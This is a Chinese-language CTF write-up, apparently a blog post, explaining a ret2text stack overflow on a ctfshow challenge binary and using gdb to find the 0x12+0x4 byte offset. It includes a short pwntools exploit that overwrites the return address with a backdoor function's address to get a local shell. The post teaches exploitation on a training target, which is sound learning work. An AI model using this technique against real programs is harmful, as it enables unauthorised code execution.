当前位置: 首页 > news >正文

用gdb的动态视角看ret2text的实现

来看一道非常简单的栈溢出

image

ctfshow函数里面有read函数,最多可以读0x32个字节

image

image
后门函数地址ida里很明显,0x8048521

exp本身不难写,下面看一下怎么用gdb确定偏移

'from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

image
一直按n让运行到汇编代码的ctfshow处,按s单步进入

image

可以看到read函数,走到read函数,看到read函数在0xffffcfc6处读入数据
image
stack看一下栈
image

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)

用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量

我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址,
image

我们继续按n走到后门函数,将后门函数压栈,按c得到system/bin/sh,(只是本地调试,因此没有flag文件)
image

http://www.jsqmd.com/news/23863/

相关文章:

  • go包装bing搜索
  • 2025年临沂代理记账公司推荐排行及口碑好的靠谱公司解析
  • 上周动手动脑补交
  • 网络同步学习记录
  • ZR 2025 NOIP 二十连测 Day 9
  • 1027随笔
  • CSP-S2025 游记
  • 阿斯顿
  • 交换机VOQ机制
  • ask_skill
  • 最小树形图
  • 详细介绍:【Ubuntu 20.04升级python3.9后终端打不开的bug】
  • SVN 主分支合并之通过主分支合并子分支执行流程
  • 鼾声识别芯片方案和睡眠产品的应用场景
  • Win11 使用 QEMU 虚拟机运行 VC6 的可行性
  • 人工智能中的线性代数核心知识(Linear Algebra for AI)- 微积分 - 何苦
  • 20232415 2025-2026-1 《网络与系统攻防技术》实验三实验报告
  • 2025年工程管理软件公司综合推荐榜:助力建筑行业数字化升级
  • 2025年离心式喷雾干燥机权威推荐榜单:小型喷雾干燥机/大型喷雾干燥机/离心喷雾干燥机源头厂家精选
  • Win11 使用 Copy v86 在线网页运行 VC6 学习 C 语言的可行性
  • 现代c++编程体验2
  • Excel高性能异步导出完整方案!
  • 化繁为简:解密国标GB28181算法算力平台EasyGBS如何以兼容性与易用性赋能安防集成
  • 国标GB28181算法算力平台EasyGBS视频实时监控系助力实现换热站全景可视化管理
  • CSS补充
  • 「LG3600-随机数生成器」题解
  • 【每日Arxiv热文】还在为视频编辑发愁?港科大蚂蚁集团提出Ditto框架刷新SOTA!
  • 计算机毕业设计springboot音乐畅听系统 基于Spring Boot框架的智能音乐播放系统编写 Spring Boot驱动的音乐在线欣赏平台构建
  • vue2 封装组件使用 v-mode【el-radio,el-input】
  • MathType7下载包安装教程2025最新下载+安装+汉化激活(附安装包,超详细)